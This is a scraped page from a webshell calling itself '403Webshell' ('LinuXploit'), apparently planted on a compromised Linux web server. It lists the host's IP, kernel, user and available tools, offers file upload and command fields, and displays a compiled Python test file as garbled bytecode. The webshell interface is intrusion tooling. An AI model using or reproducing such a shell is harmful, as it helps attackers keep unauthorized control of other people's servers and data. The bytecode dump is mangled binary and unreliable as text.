403Webshell
Server IP : 118.27.122.248  /  Your IP : 216.73.217.130
Web Server : Apache
System : Linux web0264.sh.tyo1 4.18.0-553.79.1.lve.el7h.x86_64 #1 SMP Wed Oct 15 16:34:46 UTC 2025 x86_64
User : c9415830 ( 11735)
PHP Version : 8.4.17
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /opt/alt/python36/lib64/python3.6/test/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /opt/alt/python36/lib64/python3.6/test/__pycache__/test_dynamic.cpython-36.pyc
3

�w2_*�@sFddlZddlZddlmZmZGdd�dej�ZedkrBej�dS)�N)�	swap_item�	swap_attrc@s`eZdZdZdd�Zdd�Zdd�Zdd	�Zd
d�Zdd
�Z	dd�Z
dd�Zdd�Zdd�Z
dS)�RebindBuiltinsTestsz=Test all the ways that we can change/shadow globals/builtins.cGsdS)a�Perform TestCase-specific configuration on a function before testing.

        By default, this does nothing. Example usage: spinning a function so
        that a JIT will optimize it. Subclasses should override this as needed.

        Args:
            func: function to configure.
            *args: any arguments that should be passed to func, if calling it.

        Returns:
            Nothing. Work will be performed on func in-place.
        N�)�self�func�argsrr�6/opt/alt/python36/lib64/python3.6/test/test_dynamic.py�configure_func
s
z"RebindBuiltinsTests.configure_funcc
CsPdd�}|j|�|j|�d�tt�ddd���|j|�d�WdQRXdS)NcSstdddg�S)N���)�lenrrrr	�foosz=RebindBuiltinsTests.test_globals_shadow_builtins.<locals>.foor
rcSsdS)N�r)�xrrr	�<lambda>#szBRebindBuiltinsTests.test_globals_shadow_builtins.<locals>.<lambda>r)r
�assertEqualr�globals)rrrrr	�test_globals_shadow_builtinss

z0RebindBuiltinsTests.test_globals_shadow_builtinsc
CsNdd�}|j|�|j|�d�ttddd���|j|�d�WdQRXdS)NcSstdddg�S)Nrrr
)rrrrr	r(sz5RebindBuiltinsTests.test_modify_builtins.<locals>.foor
rcSsdS)Nrr)rrrr	r-sz:RebindBuiltinsTests.test_modify_builtins.<locals>.<lambda>r)r
rr�builtins)rrrrr	�test_modify_builtins&s

z(RebindBuiltinsTests.test_modify_builtinsc
CsXdd�}|j|�|�}|jt|�d�ttddd���|jt|�d�WdQRXdS)Ncss td�}t|�Vt|�VdS)Nr
)�ranger)rrrr	r2s
zLRebindBuiltinsTests.test_modify_builtins_while_generator_active.<locals>.foor
rcSsdS)Nrr)rrrr	r:szQRebindBuiltinsTests.test_modify_builtins_while_generator_active.<locals>.<lambda>r)r
r�nextrr)rr�grrr	�+test_modify_builtins_while_generator_active0s
z?RebindBuiltinsTests.test_modify_builtins_while_generator_activecCsPttdt��:dd�}dd�}|j|dd��|j||�dd	g�WdQRXdS)
NrcSsdd�t_dS)NcSsdS)N�r)rrrr	rBszZRebindBuiltinsTests.test_modify_builtins_from_leaf_function.<locals>.bar.<locals>.<lambda>)rrrrrr	�barAszHRebindBuiltinsTests.test_modify_builtins_from_leaf_function.<locals>.barcSs2g}|jttd���|�|jttd���|S)Nr)�appendrr)Zmodifier�lrrr	rDs
zHRebindBuiltinsTests.test_modify_builtins_from_leaf_function.<locals>.foocSsdS)Nrrrrr	rJszMRebindBuiltinsTests.test_modify_builtins_from_leaf_function.<locals>.<lambda>rr)rrrr
r)rrrrrr	�'test_modify_builtins_from_leaf_function=s
z;RebindBuiltinsTests.test_modify_builtins_from_leaf_functioncCsZdd�}|j|�ddd�i}||dd�d�}|jtd|�d	�|jtdd
|i�d	�dS)NcSstdddg�S)Nrrr
)rrrrr	rOszQRebindBuiltinsTests.test_cannot_change_globals_or_builtins_with_eval.<locals>.foorcSsdS)Nrr)rrrr	rTszVRebindBuiltinsTests.test_cannot_change_globals_or_builtins_with_eval.<locals>.<lambda>cSsdS)N�r)rrrr	rVs)r�__builtins__rzfoo()r
r)r
r�eval)rr�
builtins_dict�globals_dictrrr	�0test_cannot_change_globals_or_builtins_with_evalNs
zDRebindBuiltinsTests.test_cannot_change_globals_or_builtins_with_evalcCsndd�}|j|�d|i}td|�|j|dd�ddd	�i}||d
d	�d�}td|�|j|dd�dS)NcSstdddg�S)Nrrr
)rrrrr	r\szQRebindBuiltinsTests.test_cannot_change_globals_or_builtins_with_exec.<locals>.foorz	x = foo()rr
rcSsdS)Nrr)rrrr	reszVRebindBuiltinsTests.test_cannot_change_globals_or_builtins_with_exec.<locals>.<lambda>cSsdS)Nr!r)rrrr	rgs)rr"r)r
�execr)rrr%r$rrr	�0test_cannot_change_globals_or_builtins_with_exec[s


zDRebindBuiltinsTests.test_cannot_change_globals_or_builtins_with_execc
Cs^dd�}|j|�|�}|jt|�d�tt�dddd�i��|jt|�d�WdQRXdS)Ncss td�}t|�Vt|�VdS)Nr
)rr)rrrr	rms
zORebindBuiltinsTests.test_cannot_replace_builtins_dict_while_active.<locals>.foor
r"rcSsdS)Nrr)rrrr	ruszTRebindBuiltinsTests.test_cannot_replace_builtins_dict_while_active.<locals>.<lambda>)r
rrrr)rrrrrr	�.test_cannot_replace_builtins_dict_while_activels
zBRebindBuiltinsTests.test_cannot_replace_builtins_dict_while_activec
CsTdd�}|j|�|j|�d�tt�dddd�i��|j|�d�WdQRXdS)NcSstdddg�S)Nrrr
)rrrrr	ryszPRebindBuiltinsTests.test_cannot_replace_builtins_dict_between_calls.<locals>.foor
r"rcSsdS)Nrr)rrrr	r~szURebindBuiltinsTests.test_cannot_replace_builtins_dict_between_calls.<locals>.<lambda>)r
rrr)rrrrr	�/test_cannot_replace_builtins_dict_between_callsxs

zCRebindBuiltinsTests.test_cannot_replace_builtins_dict_between_callscCs2ddd�i}td|�}|j|�|j|�d�dS)NrcSsdS)Nrr)rrrr	r�szKRebindBuiltinsTests.test_eval_gives_lambda_custom_globals.<locals>.<lambda>zlambda: len([])r)r#r
r)rr%rrrr	�%test_eval_gives_lambda_custom_globals�s

z9RebindBuiltinsTests.test_eval_gives_lambda_custom_globalsN)�__name__�
__module__�__qualname__�__doc__r
rrrr r&r(r)r*r+rrrr	r	s



	r�__main__)	rZunittestZtest.supportrrZTestCaserr,�mainrrrr	�<module>s

Youez - 2016 - github.com/yon3zu
LinuXploit